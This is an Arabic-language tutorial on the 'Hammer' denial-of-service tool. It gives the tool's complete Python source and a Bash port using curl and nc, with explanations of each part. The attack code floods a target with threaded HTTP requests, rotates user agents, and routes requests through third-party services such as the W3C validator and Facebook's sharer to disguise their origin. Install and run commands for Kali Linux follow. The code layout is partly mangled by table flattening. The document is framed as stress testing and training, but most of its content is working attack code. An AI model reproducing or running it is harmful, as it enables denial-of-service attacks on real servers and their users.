Hammer

هي اداة مفتوحة المصدر ، مكتوبة بلغة البرمجة بايثون
صممت لإجراء اختبارات او هجمات DDOS بإستخدام تقنية(HTTP Flodding)
حيث تقوم بإرسال كميات من الطلبات المتعددة والمتكررة الى الخادم المستهدف

الهدف من ذلك هو:
-قياس مدى تحمل هذا السرفر للضغط.
-إصلاح الثغرات قبل استخدامها من جهات ضارة.
-تقييم إجراءات الحماية مثل جدران الحماية وانظمة منع الهجمات.
-وقد تستخدم هذه الاداة لعمل هجوم وتسبيب اضرار.

-ماهو المقصود بهجمة ال **DDOS**؟
هي هجمة التي تعد من بين الاكثر تهديدات شيوعاً التي تسبب اضرار للخوادم والمواقع الإلكترونية وهذه الأداة إما تستخدم لمحاكاة هذه الهجمات بهدف اختبار قدرة الأنظمة على تحمل الضغط الزائد وإصلاح الثغرات، او تستخدم للقيام بعملية الهجوم.

تعتمد الأداة على تقنيات متعددة لتنفيذ الهجوم(آلية عملها):

HTTP Flood Attack
- يُرسل طلبات HTTP متكررة إلى الخادم حتى يعجز عن معالجة الطلبات الشرعية.

Multi-Threading
- تشغيل عدة ثريدات (خيوط تنفيذ) في وقت واحد لزيادة عدد الطلبات.

إخفاء الهوية
- يمكن استخدام بروكسي أو VPN لإخفاء عنوان IP المهاجم.

مجالات استخدام الاداة:

١-اختبار تحمل الخوادم
- تقييم قدرة الخادم أو الموقع على تحمل ضغط مروري عالي
- شركة تريد اختبار موقعها قبل إطلاق حملة إعلانية ضخمة لتجنب تعطله بسبب الزيادة المفاجئة في الزوار.

٢-تقييم أنظمة الحماية من هجماتDDoS
مثل ان يقوم فريق أمني بأستخدام Hammer لمحاكاة هجوم DDoS لمعرفة إذا كانت أنظمة الحماية تكشفه وتصدّه بنجاح.

٣-التدريب والتعلم في الأمن السيبراني
- تعليم طلاب الأمن السيبراني ومختبرين الاختراق كيفية عمل هجمات DDoS والدفاع ضدها.
مثل عمل دورات تدريبية مثل CEH تستخدم أدوات مثل Hammer لفهم ثغرات.DDoS

٤-اختبار سياسات
التحقق من أن الخادم يطبق الحد من الطلبات بشكل صحيح.
منع استنزاف الموارد من خلال طلبات مفرطة، فمثلاً مطورو الويب يختبرون إذا كان الخادم يمنع الهجمات
تقييم أداء الشبكة.

☆اليك الان كود هذه الأداة بلغة البايثون وتم تحويلها الى الباش سكريبت مع مقارنه بسيطة بينهم

Python	Bash script
from queue import Queue from optparse import OptionParser import time, sys, socket, threading, logging, urllib.request, random def user_agent(): global uagent uagent=[] اولا تم استدعاء عدة مكاتب تساعد في انشاء الأداة ثانياً تم عمل دالة تحتوي على متغير من نوع قائمة. * هنا تم الاعتماد على المكاتب threading يستخدم مكتبة لمعالجة الخيوط وإدارة المهام OptionParser: هذه المكتبة تستخدم لتحليل وسائط سطر الأوامر وإدارة الخيارات Random يستخدم لتوليد بيانات عشوائية socket يستخدم مكتبة ال للتعامل مع اتصالات الشبكة urllib.request مكتبة لانشاء طلبات HTTP	#!/bin/bash # Colors RED='\033[91m' GREEN='\033[92m' YELLOW='\033[93m' BLUE='\033[94m' NC='\033[0m' # No Color هنا يتم إخبار النظام أن يُنفّذ هذا الملف باستخدام مُفسر Bash وتخصيص ألوان للنصوص في (Terminal)لجعل الواجهة أكثر وضوحًا. * هنا تم الاعتماد على أوامر shell Curl : يتم استخدامها لانشاء طلبات HTTP nc: يتم استخدامها لعمل اتصالات للشبكة RANDOM$ يستخدم المدمج في SHELL لتوليد بيانات عشوائية & يستخدم لتنفيذ العمليات في الخلفية ومعالجة الخيوط # Global variables HOST="" PORT=80 THREADS=135
uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14") uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0") uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3") uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)") uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7") uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)") uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1") return(uagent) هذا الجزء يقوم بملئ القائمة uagent بعدة خيارات لوكلاء المستخدمين لمواقع مختلفه مثل firefox 3.5.1 على ويندوز ٧	USER_AGENTS= "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1") هنا تم تعريف متغيرات عامة ومصفوفة تحتوي على قائمة من عناوين وكلاء المستخدم تستخدم لخداع الخادم
def my_bots(): global bots bots=[] bots.append("http://validator.w3.org/check?uri=") bots.append("http://www.facebook.com/sharer/sharer.php?u=") return(bots) هنا تم إنشاء دالة تقوم بإنشاء وإرجاع قائمة تحتوي على عناوين URL لخدمات ويب معروفة تُعرف غالباً باسم بوتات.	BOTS=("http://validator.w3.org/check?uri=" "http://www.facebook.com/sharer/sharer.php?u=") يحتوي على روابط لخدمات ويب خارجية تُستخدم هذه الروابط لمحاولة "إخفاء" الهجوم عن طريق جعل الطلبات تبدو وكأنها قادمة من هذه الخدمات المشروعة.
def bot_hammering(url): try: while True: req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)})) print("\033[94mbot is hammering...\033[0m") time.sleep(.1) except: time.sleep(.1) ‘	random_user_agent() { local num_agents=${#USER_AGENTS[@]} local random_index=$((RANDOM % num_agents)) echo "${USER_AGENTS[$random_index]}" } bot_hammering() { local url="$1" while true; do local ua=$(random_user_agent) curl -s -A "$ua" "$url" > /dev/null & echo -e "${BLUE}bot is hammering...${NC}"

هذه الدالة تقوم بمحاكاة هجوم من نوع الضرب المكثف (Hammering) على خادم ويب معين عن طريق إرسال طلبات متكررة	sleep 0.1 done } إرسال طلبات HTTP متكررة إلى عنوان URL معين باستخدام `User-Agent` عشوائي لكل طلب، لمحاكاة هجوم حجب الخدمة.(DoS)
def usage(): print (''' \033[92m Hammer Dos Script v.1 http://www.canyalcin.com/ It is the end user's responsibility to obey all applicable laws. It is just for server testing script. Your ip is visible. \n usage : python3 hammer.py [-s] [-p] [-t] -h : help -s : server ip -p : port default 80 -t : turbo default 135 \033[0m''') sys.exit() دالة مساعده:تقوم فقط بإظهار رسالة لكيفية استخدام الاداة وتحذير قانوني	usage() { echo -e "${GREEN}Hammer DoS Script v.1 - Bash Version" echo "It is the end user's responsibility to obey all applicable laws." echo "It is just for server testing script. Your ip is visible." echo "" echo "Usage: $0 [-s SERVER] [-p PORT] [-t THREADS]" echo " -s SERVER Server IP to attack (required)" echo " -p PORT Port number (default: 80)" echo " -t THREADS Number of threads (default: 135)" echo " -h Show this help message${NC}" exit 1 } هذه الدالة تقوم بعرض تعليمات لكيفية تشغيل السكريبت وتحذير قانوني
def down_it(item): try: while True: packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,int(port))) if s.sendto(packet, (host, int(port))): s.shutdown(1) print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m") else: s.shutdown(1) print("\033[91mshut<->down\033[0m") time.sleep(.1) except socket.error as e: print("\033[91mno connection! server maybe down\033[0m") #print("\033[91m",e,"\033[0m") time.sleep(.1) هنا تم اولا تعريف دالة تقوم بمحاولة إرسال طلبات HTTP متكررة إلى خادم معين عبر اتصال مباشر باستخدامsockets وبداخل الدالة الحلقة اللانهائية التي قد تسبب هجوم حجب الخدمة(DoS) وبعدها تم بناء حزمة HTTP لبناء طلبات. http	# Function to send packets send_packets() { local host="$1" local port="$2" while true; do local ua=$(random_user_agent) (echo -en "GET / HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua\r\n\r\n" sleep 1) \| nc "$host" "$port" > /dev/null & echo -e "${GREEN}$(date)${NC} ${BLUE}<--packet sent! hammering-->${NC}" sleep 0.1 done } هذه الدالة هي قلب هجوم الـ DoS في السكربت، حيث تقوم بإرسال طلبات HTTP متكررة ومستمرة إلى الخادم المستهدف.
def dos(): while True: item = q.get() down_it(item) q.task_done() هذه دالة الهجوم الرئيسية التي تستخدم الطابور لتنفيذ هجوم مستمر تحتوي على حلقة لا نهائية بدون اي تحكم def dos2(): while True: item=w.get()	# Main function main() { # Parse command line options while getopts ":s:p:t:h" opt; do case $opt in s) HOST="$OPTARG" ;; p) PORT="$OPTARG" ;; t) THREADS="$OPTARG" ;; h) usage ;; \?) echo -e "${RED}Invalid option: -$OPTARG${NC}" >&2; usage ;; :) echo -e "${RED}Option -$OPTARG requires an argument.${NC}" >&2; usage ;;

```
bot_hammering(random.choice(bots)+"http://"+host)
w.task_done()
```

دالة هجوم اخرى تقوم بتنفيذ هجوم باستخدام بوتات وهمية فهي تستخدم قائمة البوتات لإنشاء طلبات متنوعة

```
def get_parameters():
global host
global port
global thr
global item
optp = OptionParser(add_help_option=False,epilog="Hammers")
optp.add_option("-q","--quiet", help="set logging to
ERROR",action="store_const",
dest="loglevel",const=logging.ERROR, default=logging.INFO)
optp.add_option("-s","--server", dest="host",help="attack to
server ip -s ip")
optp.add_option("-p","--port",type="int",dest="port",help="-p 80
default 80")
optp.add_option("-t","--
turbo",type="int",dest="turbo",help="default 135 -t 135")
optp.add_option("-h","--
help",dest="help",action='store_true',help="help you")
opts, args = optp.parse_args()
logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s
%(message)s')
if opts.help:
usage()
if opts.host is not None:
host = opts.host
else:
usage()
if opts.port is None:
port = 80
else:
port = opts.port
if opts.turbo is None:
thr = 135
else:
thr = opts.turbo
```

هذه الدالة مسؤولة عن معالجة وسيطات سطر الأوامر (command-line arguments)وتحديد إعدادات الهجوم.
تم تعريف متغيرات عامه واضافة خيارات البرنامج مثل h ,t, p, s وبعدها سيتم معالجة الطلب على حسب الاختيار

```
global data
headers = open("headers.txt", "r")
data = headers.read()
headers.close()
```

يقرأ محتوى ملف headers.txtويخزنه في المتغير العام data الذي يحتوي على رؤوس HTTP ترسل مع كل طلب .

```
q = Queue()
w = Queue()
```

تهيئة طوابير المهام

```
if __name__ == '__main__':
```

```
    esac
  done

  # Check if host is provided
  if [ -z "$HOST" ]; then
    echo -e "${RED}Error: Server IP is required${NC}"
    usage
  fi
```

هنا يتم لتحقق من وجود سيرفر

```
  # Display attack information
  echo -e "${GREEN}Target: $HOST Port: $PORT Threads:
$THREADS${NC}"
  echo -e "${BLUE}Please wait...${NC}"

  # Verify server connection
  if ! nc -z -w 1 "$HOST" "$PORT"; then
    echo -e "${RED}Error: Could not connect to
$HOST:$PORT${NC}"
    exit 1
  fi

  sleep 5
```

هنا تم استخدام أداة nc -z مع if للتحقق من اتصال tcp بالخادم اذا فشل يظهر رسالة خطاء ويخرج من السكريبت(هذا يعتبر بديل try -catch للبايثون)

دالة `main()` هي الدالة الرئيسية التي تتحكم في تدفق تنفيذ السكربت
كمعالجة وسائط الأوامر والتحقق من وجود خادم مستهدف
عرض معلومات الهجوم والتحقق من اتصال الخادم

يُنفذ الكود الموجود تحته فقط إذا تم تشغيل البرنامج مباشرة

```
if len(sys.argv) < 2:
usage()
```

-إذا لم يُمرر أي معطيات تحتوي على الاقل من عنصرين يعرض رسالة المساعدة ويخرج .

```
get_parameters()


print("\033[92m",host," port: ",str(port)," turbo:
",str(thr),"\033[0m")
print("\033[94mPlease wait...\033[0m")
user_agent()
my_bots()
time.sleep(5)
```

- يقرأ المعطيات التي أدخلها المستخدم) مثل `-s` لـhost ، `-p` لـport ، `-t` لعدد الخيوط).
- إذا لم تُحدد بعض القيم (مثل البورت)، يستخدم القيم الافتراضية (`port = 80`, `thr = 135`).

```
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,int(port)))
s.settimeout(1)
except socket.error as e:
print("\033[91mcheck server ip and port\033[0m")
usage()
```

التحقق من الاتصال بالسرفر

```
while True:
for i in range(int(thr)):
t = threading.Thread(target=dos)
t.daemon = True  # if thread is exist, it dies
t.start()
t2 = threading.Thread(target=dos2)
t2.daemon = True  # if thread is exist, it dies
t2.start()
```

بدء هجوم متعدد الخيوط

```
start = time.time()
#tasking
item = 0
while True:
if (item>1800): # for no memory crash
item=0
time.sleep(.1)
item = item + 1
q.put(item)
w.put(item)
q.join()
w.join()
```

ادارة المهام عبر الطوابير

```
# Start attack threads
   for ((i=1; i<=THREADS; i++)); do
      # Start packet sending threads
      send_packets "$HOST" "$PORT" &

      # Start bot hammering threads (using random bots)
      local random_bot="${BOTS[$((RANDOM %
${#BOTS[@]}))]}"
      bot_hammering "${random_bot}http://${HOST}" &
   done

   # Keep the script running
   wait
}

# Start the main function
```

بدء هجوم متعدد الخيوط- تنشئ حلقة لتكرار عملية إنشاء الخيوط الهجومية. خيوط إرسال الحزم و خيوط هجوم البوتات

بدء التنفيذ الرئيسيmain "$@"

تثبيت الأداة في كالي لينكس:
١-افتراضا نسمي الملف hammer.sh
٢-نجعل الملف قابل للتنفيذ من خلال الامر chmod +x hammer.sh
٣-ننقل السكريبت الى مجلد خاص بالاوامر في كالي من خلال الامر
Sudo cp hammer.sh /usr/local/bin/hammer

تشغيل الأداة واثبات فعاليتها :
hammer -s 192.168.239.154 -p 80 -t 100

تثبيت الأداة في كالي لينكس:
١-افتراضا نسمي الملف hammer.py
٢-ننقل السكريبت الى مجلد خاص بالاوامر في كالي من خلال الامر
Sudo cp hammer.py /usr/local/bin/hammer
٣-نجعل الملف قابل للتنفيذ من خلال الامرchmod +x /usr/local/bin hammer

تشغيل الأداة واثبات فعاليتها :
hammer -s 192.168.239.154 -p 80 -t 100